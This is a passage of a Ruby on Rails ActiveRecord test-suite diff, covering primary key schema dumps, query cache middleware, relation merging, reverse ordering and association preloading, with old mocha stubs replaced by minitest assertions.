@connection.drop_table(:barcodes) if @connection.table_exists? :barcodes + @connection.drop_table(:barcodes, if_exists: true) end def test_any_type_primary_key assert_equal "code", Barcode.primary_key - column_type = Barcode.type_for_attribute(Barcode.primary_key) - assert_equal :string, column_type.type - assert_equal 42, column_type.limit + column = Barcode.column_for_attribute(Barcode.primary_key) + assert_not column.null + assert_equal :string, column.type + assert_equal 42, column.limit end test "schema dump primary key includes type and options" do @@ -227,7 +240,41 @@ class PrimaryKeyAnyTypeTest < ActiveRecord::TestCase end end -if current_adapter?(:MysqlAdapter, :Mysql2Adapter) +class CompositePrimaryKeyTest < ActiveRecord::TestCase + include SchemaDumpingHelper + + self.use_transactional_tests = false + + def setup + @connection = ActiveRecord::Base.connection + @connection.create_table(:barcodes, primary_key: ["region", "code"], force: true) do |t| + t.string :region + t.integer :code + end + end + + def teardown + @connection.drop_table(:barcodes, if_exists: true) + end + + def test_composite_primary_key + assert_equal ["region", "code"], @connection.primary_keys("barcodes") + end + + def test_primary_key_issues_warning + warning = capture(:stderr) do + assert_nil @connection.primary_key("barcodes") + end + assert_match(/WARNING: Rails does not support composite primary key\./, warning) + end + + def test_collectly_dump_composite_primary_key + schema = dump_table_schema "barcodes" + assert_match %r{create_table "barcodes", primary_key: \["region", "code"\]}, schema + end +end + +if current_adapter?(:Mysql2Adapter) class PrimaryKeyWithAnsiQuotesTest < ActiveRecord::TestCase self.use_transactional_tests = false @@ -239,9 +286,35 @@ if current_adapter?(:MysqlAdapter, :Mysql2Adapter) con.reconnect! end end + + class PrimaryKeyBigintNilDefaultTest < ActiveRecord::TestCase + include SchemaDumpingHelper + + self.use_transactional_tests = false + + def setup + @connection = ActiveRecord::Base.connection + @connection.create_table(:bigint_defaults, id: :bigint, default: nil, force: true) + end + + def teardown + @connection.drop_table :bigint_defaults, if_exists: true + end + + test "primary key with bigint allows default override via nil" do + column = @connection.columns(:bigint_defaults).find { |c| c.name == 'id' } + assert column.bigint? + assert_not column.auto_increment? + end + + test "schema dump primary key with bigint default nil" do + schema = dump_table_schema "bigint_defaults" + assert_match %r{create_table "bigint_defaults", id: :bigint, default: nil}, schema + end + end end -if current_adapter?(:PostgreSQLAdapter, :MysqlAdapter, :Mysql2Adapter) +if current_adapter?(:PostgreSQLAdapter, :Mysql2Adapter) class PrimaryKeyBigSerialTest < ActiveRecord::TestCase include SchemaDumpingHelper @@ -260,7 +333,8 @@ if current_adapter?(:PostgreSQLAdapter, :MysqlAdapter, :Mysql2Adapter) end teardown do - @connection.drop_table 'widgets', if_exists: true + @connection.drop_table :widgets, if_exists: true + Widget.reset_column_information end test "primary key column type with bigserial" do @@ -277,19 +351,20 @@ if current_adapter?(:PostgreSQLAdapter, :MysqlAdapter, :Mysql2Adapter) test "schema dump primary key with bigserial" do schema = dump_table_schema "widgets" if current_adapter?(:PostgreSQLAdapter) - assert_match %r{create_table "widgets", id: :bigserial}, schema + assert_match %r{create_table "widgets", id: :bigserial, force: :cascade}, schema else - assert_match %r{create_table "widgets", id: :bigint}, schema + assert_match %r{create_table "widgets", id: :bigint, force: :cascade}, schema end end - if current_adapter?(:MysqlAdapter, :Mysql2Adapter) + if current_adapter?(:Mysql2Adapter) test "primary key column type with options" do - @connection.create_table(:widgets, id: :primary_key, limit: 8, force: true) + @connection.create_table(:widgets, id: :primary_key, limit: 8, unsigned: true, force: true) column = @connection.columns(:widgets).find { |c| c.name == 'id' } assert column.auto_increment? assert_equal :integer, column.type assert_equal 8, column.limit + assert column.unsigned? end end end diff --git a/activerecord/test/cases/query_cache_test.rb b/activerecord/test/cases/query_cache_test.rb index 744f9edc47..e53239cdee 100644 --- a/activerecord/test/cases/query_cache_test.rb +++ b/activerecord/test/cases/query_cache_test.rb @@ -16,7 +16,7 @@ class QueryCacheTest < ActiveRecord::TestCase def test_exceptional_middleware_clears_and_disables_cache_on_error assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| Task.find 1 Task.find 1 assert_equal 1, ActiveRecord::Base.connection.query_cache.length @@ -31,7 +31,7 @@ class QueryCacheTest < ActiveRecord::TestCase def test_exceptional_middleware_leaves_enabled_cache_alone ActiveRecord::Base.connection.enable_query_cache! - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| raise "lol borked" } assert_raises(RuntimeError) { mw.call({}) } @@ -42,7 +42,7 @@ class QueryCacheTest < ActiveRecord::TestCase def test_exceptional_middleware_assigns_original_connection_id_on_error connection_id = ActiveRecord::Base.connection_id - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| ActiveRecord::Base.connection_id = self.object_id raise "lol borked" } @@ -53,7 +53,7 @@ class QueryCacheTest < ActiveRecord::TestCase def test_middleware_delegates called = false - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| called = true [200, {}, nil] } @@ -62,7 +62,7 @@ class QueryCacheTest < ActiveRecord::TestCase end def test_middleware_caches - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| Task.find 1 Task.find 1 assert_equal 1, ActiveRecord::Base.connection.query_cache.length @@ -74,50 +74,13 @@ class QueryCacheTest < ActiveRecord::TestCase def test_cache_enabled_during_call assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache off' - mw = ActiveRecord::QueryCache.new lambda { |env| + mw = middleware { |env| assert ActiveRecord::Base.connection.query_cache_enabled, 'cache on' [200, {}, nil] } mw.call({}) end - def test_cache_on_during_body_write - streaming = Class.new do - def each - yield ActiveRecord::Base.connection.query_cache_enabled - end - end - - mw = ActiveRecord::QueryCache.new lambda { |env| - [200, {}, streaming.new] - } - body = mw.call({}).last - body.each { |x| assert x, 'cache should be on' } - body.close - assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache disabled' - end - - def test_cache_off_after_close - mw = ActiveRecord::QueryCache.new lambda { |env| [200, {}, nil] } - body = mw.call({}).last - - assert ActiveRecord::Base.connection.query_cache_enabled, 'cache enabled' - body.close - assert !ActiveRecord::Base.connection.query_cache_enabled, 'cache disabled' - end - - def test_cache_clear_after_close - mw = ActiveRecord::QueryCache.new lambda { |env| - Post.first - [200, {}, nil] - } - body = mw.call({}).last - - assert !ActiveRecord::Base.connection.query_cache.empty?, 'cache not empty' - body.close - assert ActiveRecord::Base.connection.query_cache.empty?, 'cache should be empty' - end - def test_cache_passing_a_relation post = Post.first Post.cache do @@ -184,7 +147,7 @@ class QueryCacheTest < ActiveRecord::TestCase # Oracle adapter returns count() as Fixnum or Float if current_adapter?(:OracleAdapter) assert_kind_of Numeric, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") - elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter) + elsif current_adapter?(:SQLite3Adapter, :Mysql2Adapter, :PostgreSQLAdapter) # Future versions of the sqlite3 adapter will return numeric assert_instance_of Fixnum, Task.connection.select_value("SELECT count(*) AS count_all FROM tasks") @@ -244,6 +207,13 @@ class QueryCacheTest < ActiveRecord::TestCase assert_equal 0, Post.where(title: 'rollback').to_a.count end end + + private + def middleware(&app) + executor = Class.new(ActiveSupport::Executor) + ActiveRecord::QueryCache.install_executor_hooks executor + lambda { |env| executor.wrap { app.call(env) } } + end end class QueryCacheExpiryTest < ActiveRecord::TestCase @@ -262,61 +232,66 @@ class QueryCacheExpiryTest < ActiveRecord::TestCase end def test_find - Task.connection.expects(:clear_query_cache).times(1) + assert_called(Task.connection, :clear_query_cache) do + assert !Task.connection.query_cache_enabled + Task.cache do + assert Task.connection.query_cache_enabled + Task.find(1) - assert !Task.connection.query_cache_enabled - Task.cache do - assert Task.connection.query_cache_enabled - Task.find(1) + Task.uncached do + assert !Task.connection.query_cache_enabled + Task.find(1) + end - Task.uncached do - assert !Task.connection.query_cache_enabled - Task.find(1) + assert Task.connection.query_cache_enabled end - - assert Task.connection.query_cache_enabled + assert !Task.connection.query_cache_enabled end - assert !Task.connection.query_cache_enabled end def test_update - Task.connection.expects(:clear_query_cache).times(2) - Task.cache do - task = Task.find(1) - task.starting = Time.now.utc - task.save! + assert_called(Task.connection, :clear_query_cache, times: 2) do + Task.cache do + task = Task.find(1) + task.starting = Time.now.utc + task.save! + end end end def test_destroy - Task.connection.expects(:clear_query_cache).times(2) - Task.cache do - Task.find(1).destroy + assert_called(Task.connection, :clear_query_cache, times: 2) do + Task.cache do + Task.find(1).destroy + end end end def test_insert - ActiveRecord::Base.connection.expects(:clear_query_cache).times(2) - Task.cache do - Task.create! + assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do + Task.cache do + Task.create! + end end end def test_cache_is_expired_by_habtm_update - ActiveRecord::Base.connection.expects(:clear_query_cache).times(2) - ActiveRecord::Base.cache do - c = Category.first - p = Post.first - p.categories << c + assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do + ActiveRecord::Base.cache do + c = Category.first + p = Post.first + p.categories << c + end end end def test_cache_is_expired_by_habtm_delete - ActiveRecord::Base.connection.expects(:clear_query_cache).times(2) - ActiveRecord::Base.cache do - p = Post.find(1) - assert p.categories.any? - p.categories.delete_all + assert_called(ActiveRecord::Base.connection, :clear_query_cache, times: 2) do + ActiveRecord::Base.cache do + p = Post.find(1) + assert p.categories.any? + p.categories.delete_all + end end end end diff --git a/activerecord/test/cases/readonly_test.rb b/activerecord/test/cases/readonly_test.rb index 1c919f0b57..5f6eb41240 100644 --- a/activerecord/test/cases/readonly_test.rb +++ b/activerecord/test/cases/readonly_test.rb @@ -7,6 +7,7 @@ require 'models/computer' require 'models/project' require 'models/reader' require 'models/person' +require 'models/ship' class ReadOnlyTest < ActiveRecord::TestCase fixtures :authors, :posts, :comments, :developers, :projects, :developers_projects, :people, :readers diff --git a/activerecord/test/cases/reflection_test.rb b/activerecord/test/cases/reflection_test.rb index 7b47c80331..710c86b151 100644 --- a/activerecord/test/cases/reflection_test.rb +++ b/activerecord/test/cases/reflection_test.rb @@ -23,6 +23,7 @@ require 'models/chef' require 'models/department' require 'models/cake_designer' require 'models/drink_designer' +require 'models/mocktail_designer' require 'models/recipe' class ReflectionTest < ActiveRecord::TestCase @@ -278,6 +279,15 @@ class ReflectionTest < ActiveRecord::TestCase assert_equal 2, @hotel.chefs.size end + def test_scope_chain_does_not_interfere_with_hmt_with_polymorphic_case_and_sti + @hotel = Hotel.create! + @hotel.mocktail_designers << MocktailDesigner.create! + + assert_equal 1, @hotel.mocktail_designers.size + assert_equal 1, @hotel.mocktail_designers.count + assert_equal 1, @hotel.chef_lists.size + end + def test_scope_chain_of_polymorphic_association_does_not_leak_into_other_hmt_associations hotel = Hotel.create! department = hotel.departments.create! @@ -393,12 +403,14 @@ class ReflectionTest < ActiveRecord::TestCase product = Struct.new(:table_name, :pluralize_table_names).new('products', true) reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product) - reflection.stubs(:klass).returns(category) - assert_equal 'categories_products', reflection.join_table + reflection.stub(:klass, category) do + assert_equal 'categories_products', reflection.join_table + end reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category) - reflection.stubs(:klass).returns(product) - assert_equal 'categories_products', reflection.join_table + reflection.stub(:klass, product) do + assert_equal 'categories_products', reflection.join_table + end end def test_join_table_with_common_prefix @@ -406,12 +418,14 @@ class ReflectionTest < ActiveRecord::TestCase product = Struct.new(:table_name, :pluralize_table_names).new('catalog_products', true) reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, product) - reflection.stubs(:klass).returns(category) - assert_equal 'catalog_categories_products', reflection.join_table + reflection.stub(:klass, category) do + assert_equal 'catalog_categories_products', reflection.join_table + end reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, {}, category) - reflection.stubs(:klass).returns(product) - assert_equal 'catalog_categories_products', reflection.join_table + reflection.stub(:klass, product) do + assert_equal 'catalog_categories_products', reflection.join_table + end end def test_join_table_with_different_prefix @@ -419,12 +433,14 @@ class ReflectionTest < ActiveRecord::TestCase page = Struct.new(:table_name, :pluralize_table_names).new('content_pages', true) reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, {}, page) - reflection.stubs(:klass).returns(category) - assert_equal 'catalog_categories_content_pages', reflection.join_table + reflection.stub(:klass, category) do + assert_equal 'catalog_categories_content_pages', reflection.join_table + end reflection = ActiveRecord::Reflection.create(:has_many, :pages, nil, {}, category) - reflection.stubs(:klass).returns(page) - assert_equal 'catalog_categories_content_pages', reflection.join_table + reflection.stub(:klass, page) do + assert_equal 'catalog_categories_content_pages', reflection.join_table + end end def test_join_table_can_be_overridden @@ -432,12 +448,14 @@ class ReflectionTest < ActiveRecord::TestCase product = Struct.new(:table_name, :pluralize_table_names).new('products', true) reflection = ActiveRecord::Reflection.create(:has_many, :categories, nil, { :join_table => 'product_categories' }, product) - reflection.stubs(:klass).returns(category) - assert_equal 'product_categories', reflection.join_table + reflection.stub(:klass, category) do + assert_equal 'product_categories', reflection.join_table + end reflection = ActiveRecord::Reflection.create(:has_many, :products, nil, { :join_table => 'product_categories' }, category) - reflection.stubs(:klass).returns(product) - assert_equal 'product_categories', reflection.join_table + reflection.stub(:klass, product) do + assert_equal 'product_categories', reflection.join_table + end end def test_includes_accepts_symbols diff --git a/activerecord/test/cases/relation/delegation_test.rb b/activerecord/test/cases/relation/delegation_test.rb index 29c9d0e2af..f0e07e0731 100644 --- a/activerecord/test/cases/relation/delegation_test.rb +++ b/activerecord/test/cases/relation/delegation_test.rb @@ -27,8 +27,8 @@ module ActiveRecord module DelegationWhitelistBlacklistTests ARRAY_DELEGATES = [ - :+, :-, :|, :&, :[], - :all?, :collect, :detect, :each, :each_cons, :each_with_index, + :+, :-, :|, :&, :[], :shuffle, + :all?, :collect, :compact, :detect, :each, :each_cons, :each_with_index, :exclude?, :find_all, :flat_map, :group_by, :include?, :length, :map, :none?, :one?, :partition, :reject, :reverse, :sample, :second, :sort, :sort_by, :third, @@ -40,12 +40,6 @@ module ActiveRecord assert_respond_to target, method end end - - ActiveRecord::Delegation::BLACKLISTED_ARRAY_METHODS.each do |method| - define_method "test_#{method}_is_not_delegated_to_Array" do - assert_raises(NoMethodError) { call_method(target, method) } - end - end end class DelegationAssociationTest < DelegationTest diff --git a/activerecord/test/cases/relation/merging_test.rb b/activerecord/test/cases/relation/merging_test.rb index 0a2e874e4f..60a806c05a 100644 --- a/activerecord/test/cases/relation/merging_test.rb +++ b/activerecord/test/cases/relation/merging_test.rb @@ -104,6 +104,13 @@ class RelationMergingTest < ActiveRecord::TestCase post = PostThatLoadsCommentsInAnAfterSaveHook.create!(title: "First Post", body: "Blah blah blah.") assert_equal "First comment!", post.comments.where(body: "First comment!").first_or_create.body end + + def test_merging_with_from_clause + relation = Post.all + assert relation.from_clause.empty? + relation = relation.merge(Post.from("posts")) + refute relation.from_clause.empty? + end end class MergingDifferentRelationsTest < ActiveRecord::TestCase diff --git a/activerecord/test/cases/relation/mutation_test.rb b/activerecord/test/cases/relation/mutation_test.rb index 45ead08bd5..ffb2da7a26 100644 --- a/activerecord/test/cases/relation/mutation_test.rb +++ b/activerecord/test/cases/relation/mutation_test.rb @@ -22,13 +22,21 @@ module ActiveRecord def sanitize_sql(sql) sql end + + def sanitize_sql_for_order(sql) + sql + end + + def arel_attribute(name, table) + table[name] + end end def relation @relation ||= Relation.new FakeKlass.new('posts'), Post.arel_table, Post.predicate_builder end - (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select]).each do |method| + (Relation::MULTI_VALUE_METHODS - [:references, :extending, :order, :unscope, :select, :left_joins]).each do |method| test "##{method}!" do assert relation.public_send("#{method}!", :foo).equal?(relation) assert_equal [:foo], relation.public_send("#{method}_values") @@ -55,9 +63,10 @@ module ActiveRecord test '#order! on non-string does not attempt regexp match for references' do obj = Object.new - obj.expects(:=~).never - assert relation.order!(obj) - assert_equal [obj], relation.order_values + assert_not_called(obj, :=~) do + assert relation.order!(obj) + assert_equal [obj], relation.order_values + end end test '#references!' do @@ -81,7 +90,7 @@ module ActiveRecord assert_equal [], relation.extending_values end - (Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with]).each do |method| + (Relation::SINGLE_VALUE_METHODS - [:lock, :reordering, :reverse_order, :create_with, :uniq]).each do |method| test "##{method}!" do assert relation.public_send("#{method}!", :foo).equal?(relation) assert_equal :foo, relation.public_send("#{method}_value") @@ -153,13 +162,22 @@ module ActiveRecord test 'distinct!' do relation.distinct! :foo assert_equal :foo, relation.distinct_value - assert_equal :foo, relation.uniq_value # deprecated access + + assert_deprecated do + assert_equal :foo, relation.uniq_value # deprecated access + end end test 'uniq! was replaced by distinct!' do - relation.uniq! :foo + assert_deprecated(/use distinct! instead/) do + relation.uniq! :foo + end + + assert_deprecated(/use distinct_value instead/) do + assert_equal :foo, relation.uniq_value # deprecated access + end + assert_equal :foo, relation.distinct_value - assert_equal :foo, relation.uniq_value # deprecated access end end end diff --git a/activerecord/test/cases/relation/or_test.rb b/activerecord/test/cases/relation/or_test.rb index 2006fc9611..ce8c5ca489 100644 --- a/activerecord/test/cases/relation/or_test.rb +++ b/activerecord/test/cases/relation/or_test.rb @@ -52,9 +52,11 @@ module ActiveRecord end def test_or_with_incompatible_relations - assert_raises ArgumentError do + error = assert_raises ArgumentError do Post.order('body asc').where('id = 1').or(Post.order('id desc').where(:id => [2, 3])).to_a end + + assert_equal "Relation passed to #or must be structurally compatible. Incompatible values: [:order]", error.message end def test_or_when_grouping @@ -80,5 +82,11 @@ module ActiveRecord assert_equal p.loaded?, true assert_equal expected, p.or(Post.where('id = 2')).to_a end + + def test_or_with_non_relation_object_raises_error + assert_raises ArgumentError do + Post.where(id: [1, 2, 3]).or(title: 'Rails') + end + end end end diff --git a/activerecord/test/cases/relation/record_fetch_warning_test.rb b/activerecord/test/cases/relation/record_fetch_warning_test.rb new file mode 100644 index 0000000000..0e0e23b24b --- /dev/null +++ b/activerecord/test/cases/relation/record_fetch_warning_test.rb @@ -0,0 +1,40 @@ +require 'cases/helper' +require 'models/post' +require 'active_record/relation/record_fetch_warning' + +module ActiveRecord + class RecordFetchWarningTest < ActiveRecord::TestCase + fixtures :posts + + def setup + @original_logger = ActiveRecord::Base.logger + @original_warn_on_records_fetched_greater_than = ActiveRecord::Base.warn_on_records_fetched_greater_than + @log = StringIO.new + end + + def teardown + ActiveRecord::Base.logger = @original_logger + ActiveRecord::Base.warn_on_records_fetched_greater_than = @original_warn_on_records_fetched_greater_than + end + + def test_warn_on_records_fetched_greater_than_allowed_limit + ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log) + ActiveRecord::Base.logger.level = Logger::WARN + ActiveRecord::Base.warn_on_records_fetched_greater_than = 1 + + Post.all.to_a + + assert_match(/Query fetched/, @log.string) + end + + def test_does_not_warn_on_records_fetched_less_than_allowed_limit + ActiveRecord::Base.logger = ActiveSupport::Logger.new(@log) + ActiveRecord::Base.logger.level = Logger::WARN + ActiveRecord::Base.warn_on_records_fetched_greater_than = 100 + + Post.all.to_a + + assert_no_match(/Query fetched/, @log.string) + end + end +end diff --git a/activerecord/test/cases/relation/where_test.rb b/activerecord/test/cases/relation/where_test.rb index 6af31017d6..56a2b5b8c6 100644 --- a/activerecord/test/cases/relation/where_test.rb +++ b/activerecord/test/cases/relation/where_test.rb @@ -2,6 +2,7 @@ require "cases/helper" require "models/author" require "models/binary" require "models/cake_designer" +require "models/car" require "models/chef" require "models/comment" require "models/edge" @@ -14,7 +15,7 @@ require "models/vertex" module ActiveRecord class WhereTest < ActiveRecord::TestCase - fixtures :posts, :edges, :authors, :binaries, :essays + fixtures :posts, :edges, :authors, :binaries, :essays, :cars, :treasures, :price_estimates def test_where_copies_bind_params author = authors(:david) @@ -114,6 +115,17 @@ module ActiveRecord assert_equal expected.to_sql, actual.to_sql end + def test_polymorphic_array_where_multiple_types + treasure_1 = treasures(:diamond) + treasure_2 = treasures(:sapphire) + car = cars(:honda) + + expected = [price_estimates(:diamond), price_estimates(:sapphire_1), price_estimates(:sapphire_2), price_estimates(:honda)].sort + actual = PriceEstimate.where(estimate_of: [treasure_1, treasure_2, car]).to_a.sort + + assert_equal expected, actual + end + def test_polymorphic_nested_relation_where expected = PriceEstimate.where(estimate_of_type: 'Treasure', estimate_of_id: Treasure.where(id: [1,2])) actual = PriceEstimate.where(estimate_of: Treasure.where(id: [1,2])) @@ -276,5 +288,35 @@ module ActiveRecord assert_equal essays(:david_modest_proposal), essay end + + def test_where_with_strong_parameters + protected_params = Class.new do + attr_reader :permitted + alias :permitted? :permitted + + def initialize(parameters) + @parameters = parameters + @permitted = false + end + + def to_h + @parameters + end + + def permit! + @permitted = true + self + end + end + + author = authors(:david) + params = protected_params.new(name: author.name) + assert_raises(ActiveModel::ForbiddenAttributesError) { Author.where(params) } + assert_equal author, Author.where(params.permit!).first + end + + def test_where_with_unsupported_arguments + assert_raises(ArgumentError) { Author.where(42) } + end end end diff --git a/activerecord/test/cases/relation_test.rb b/activerecord/test/cases/relation_test.rb index 9353be1ba7..03583344a8 100644 --- a/activerecord/test/cases/relation_test.rb +++ b/activerecord/test/cases/relation_test.rb @@ -20,6 +20,10 @@ module ActiveRecord def self.table_name 'fake_table' end + + def self.sanitize_sql_for_order(sql) + sql + end end def test_construction @@ -39,13 +43,17 @@ module ActiveRecord (Relation::SINGLE_VALUE_METHODS - [:create_with]).each do |method| assert_nil relation.send("#{method}_value"), method.to_s end - assert_equal({}, relation.create_with_value) + value = relation.create_with_value + assert_equal({}, value) + assert_predicate value, :frozen? end def test_multi_value_initialize relation = Relation.new(FakeKlass, :b, nil) Relation::MULTI_VALUE_METHODS.each do |method| - assert_equal [], relation.send("#{method}_values"), method.to_s + values = relation.send("#{method}_values") + assert_equal [], values, method.to_s + assert_predicate values, :frozen?, method.to_s end end @@ -57,9 +65,6 @@ module ActiveRecord def test_empty_where_values_hash relation = Relation.new(FakeKlass, :b, nil) assert_equal({}, relation.where_values_hash) - - relation.where! :hello - assert_equal({}, relation.where_values_hash) end def test_has_values @@ -76,7 +81,6 @@ module ActiveRecord def test_tree_is_not_traversed relation = Relation.new(Post, Post.arel_table, Post.predicate_builder) - # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1 left = relation.table[:id].eq(10) right = relation.table[:id].eq(10) combine = left.and right @@ -103,7 +107,6 @@ module ActiveRecord def test_create_with_value_with_wheres relation = Relation.new(Post, Post.arel_table, Post.predicate_builder) - # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1 relation.where! relation.table[:id].eq(10) relation.create_with_value = {:hello => 'world'} assert_equal({:hello => 'world', :id => 10}, relation.scope_for_create) @@ -114,7 +117,6 @@ module ActiveRecord relation = Relation.new(Post, Post.arel_table, Post.predicate_builder) assert_equal({}, relation.scope_for_create) - # FIXME: Remove the Arel::Nodes::Quoted in Rails 5.1 relation.where! relation.table[:id].eq(10) assert_equal({}, relation.scope_for_create) @@ -153,10 +155,10 @@ module ActiveRecord end test 'merging a hash into a relation' do - relation = Relation.new(FakeKlass, :b, nil) - relation = relation.merge where: :lol, readonly: true + relation = Relation.new(Post, Post.arel_table, Post.predicate_builder) + relation = relation.merge where: {name: :lol}, readonly: true - assert_equal Relation::WhereClause.new([:lol], []), relation.where_clause + assert_equal({"name"=>:lol}, relation.where_clause.to_h) assert_equal true, relation.readonly_value end @@ -185,7 +187,7 @@ module ActiveRecord end test '#values returns a dup of the values' do - relation = Relation.new(FakeKlass, :b, nil).where! :foo + relation = Relation.new(Post, Post.arel_table, Post.predicate_builder).where!(name: :foo) values = relation.values values[:where] = nil @@ -234,6 +236,13 @@ module ActiveRecord assert_equal 3, relation.where(id: post.id).pluck(:id).size end + def test_merge_raises_with_invalid_argument + assert_raises ArgumentError do + relation = Relation.new(FakeKlass, :b, nil) + relation.merge(true) + end + end + def test_respond_to_for_non_selected_element post = Post.select(:title).first assert_equal false, post.respond_to?(:body), "post should not respond_to?(:body) since invoking it raises exception" @@ -242,6 +251,24 @@ module ActiveRecord assert_equal false, post.respond_to?(:title), "post should not respond_to?(:body) since invoking it raises exception" end + def test_select_quotes_when_using_from_clause + skip_if_sqlite3_version_includes_quoting_bug + quoted_join = ActiveRecord::Base.connection.quote_table_name("join") + selected = Post.select(:join).from(Post.select("id as #{quoted_join}")).map(&:join) + assert_equal Post.pluck(:id), selected + end + + def test_selecting_aliased_attribute_quotes_column_name_when_from_is_used + skip_if_sqlite3_version_includes_quoting_bug + klass = Class.new(ActiveRecord::Base) do + self.table_name = :test_with_keyword_column_name + alias_attribute :description, :desc + end + klass.create!(description: "foo") + + assert_equal ["foo"], klass.select(:description).from(klass.all).map(&:desc) + end + def test_relation_merging_with_merged_joins_as_strings join_string = "LEFT OUTER JOIN #{Rating.quoted_table_name} ON #{SpecialComment.quoted_table_name}.id = #{Rating.quoted_table_name}.comment_id" special_comments_with_ratings = SpecialComment.joins join_string @@ -276,5 +303,26 @@ module ActiveRecord assert_equal "type cast from database", UpdateAllTestModel.first.body end + + private + + def skip_if_sqlite3_version_includes_quoting_bug + if sqlite3_version_includes_quoting_bug? + skip <<-ERROR.squish + You are using an outdated version of SQLite3 which has a bug in + quoted column names. Please update SQLite3 and rebuild the sqlite3 + ruby gem + ERROR + end + end + + def sqlite3_version_includes_quoting_bug? + if current_adapter?(:SQLite3Adapter) + selected_quoted_column_names = ActiveRecord::Base.connection.exec_query( + 'SELECT "join" FROM (SELECT id AS "join" FROM posts) subquery' + ).columns + ["join"] != selected_quoted_column_names + end + end end end diff --git a/activerecord/test/cases/relations_test.rb b/activerecord/test/cases/relations_test.rb index 0cf44388fa..5604124bb3 100644 --- a/activerecord/test/cases/relations_test.rb +++ b/activerecord/test/cases/relations_test.rb @@ -17,7 +17,9 @@ require 'models/tyre' require 'models/minivan' require 'models/aircraft' require "models/possession" - +require "models/reader" +require "models/categorization" +require "models/edge" class RelationTest < ActiveRecord::TestCase fixtures :authors, :topics, :entrants, :developers, :companies, :developers_projects, :accounts, :categories, :categorizations, :posts, :comments, @@ -110,15 +112,38 @@ class RelationTest < ActiveRecord::TestCase def test_loaded_first topics = Topic.all.order('id ASC') + topics.to_a # force load - assert_queries(1) do - topics.to_a # force load - 2.times { assert_equal "The First Topic", topics.first.title } + assert_no_queries do + assert_equal "The First Topic", topics.first.title + end + + assert topics.loaded? + end + + def test_loaded_first_with_limit + topics = Topic.all.order('id ASC') + topics.to_a # force load + + assert_no_queries do + assert_equal ["The First Topic", + "The Second Topic of the day"], topics.first(2).map(&:title) end assert topics.loaded? end + def test_first_get_more_than_available + topics = Topic.all.order('id ASC') + unloaded_first = topics.first(10) + topics.to_a # force load + + assert_no_queries do + loaded_first = topics.first(10) + assert_equal unloaded_first, loaded_first + end + end + def test_reload topics = Topic.all @@ -199,6 +224,39 @@ class RelationTest < ActiveRecord::TestCase assert_equal topics(:fifth).title, topics.first.title end + def test_reverse_order_with_function + topics = Topic.order("length(title)").reverse_order + assert_equal topics(:second).title, topics.first.title + end + + def test_reverse_order_with_function_other_predicates + topics = Topic.order("author_name, length(title), id").reverse_order + assert_equal topics(:second).title, topics.first.title + topics = Topic.order("length(author_name), id, length(title)").reverse_order + assert_equal topics(:fifth).title, topics.first.title + end + + def test_reverse_order_with_multiargument_function + assert_raises(ActiveRecord::IrreversibleOrderError) do + Topic.order("concat(author_name, title)").reverse_order + end + end + + def test_reverse_order_with_nulls_first_or_last + assert_raises(ActiveRecord::IrreversibleOrderError) do + Topic.order("title NULLS FIRST").reverse_order + end + assert_raises(ActiveRecord::IrreversibleOrderError) do + Topic.order("title nulls last").reverse_order + end + end + + def test_default_reverse_order_on_table_without_primary_key + assert_raises(ActiveRecord::IrreversibleOrderError) do + Edge.all.reverse_order + end + end + def test_order_with_hash_and_symbol_generates_the_same_sql assert_equal Topic.order(:id).to_sql, Topic.order(:id => :asc).to_sql end @@ -297,6 +355,17 @@ class RelationTest < ActiveRecord::TestCase assert_equal 3, tags.length end + def test_finding_with_sanitized_order + query = Tag.order(["field(id, ?)", [1,3,2]]).to_sql + assert_match(/field\(id, 1,3,2\)/, query) + + query = Tag.order(["field(id, ?)", []]).to_sql + assert_match(/field\(id, NULL\)/, query) + + query = Tag.order(["field(id, ?)", nil]).to_sql + assert_match(/field\(id, NULL\)/, query) + end + def test_finding_with_order_limit_and_offset entrants = Entrant.order("id ASC").limit(2).offset(1) @@ -621,6 +690,51 @@ class RelationTest < ActiveRecord::TestCase assert_equal 1, query.to_a.size end + def test_preloading_with_associations_and_merges + post = Post.create! title: 'Uhuu', body: 'body' + reader = Reader.create! post_id: post.id, person_id: 1 + comment = Comment.create! post_id: post.id, body: 'body' + + assert !comment.respond_to?(:readers) + + post_rel = Post.preload(:readers).joins(:readers).where(title: 'Uhuu') + result_comment = Comment.joins(:post).merge(post_rel).to_a.first + assert_equal comment, result_comment + + assert_no_queries do + assert_equal post, result_comment.post + assert_equal [reader], result_comment.post.readers.to_a + end + + post_rel = Post.includes(:readers).where(title: 'Uhuu') + result_comment = Comment.joins(:post).merge(post_rel).first + assert_equal comment, result_comment + + assert_no_queries do + assert_equal post, result_comment.post + assert_equal [reader], result_comment.post.readers.to_a + end + end + + def test_preloading_with_associations_default_scopes_and_merges + post = Post.create! title: 'Uhuu', body: 'body' + reader = Reader.create! post_id: post.id, person_id: 1 + + post_rel = PostWithPreloadDefaultScope.preload(:readers).joins(:readers).where(title: 'Uhuu') + result_post = PostWithPreloadDefaultScope.all.merge(post_rel).to_a.first + + assert_no_queries do + assert_equal [reader], result_post.readers.to_a + end + + post_rel = PostWithIncludesDefaultScope.includes(:readers).where(title: 'Uhuu') + result_post = PostWithIncludesDefaultScope.all.merge(post_rel).to_a.first + + assert_no_queries do + assert_equal [reader], result_post.readers.to_a + end + end + def 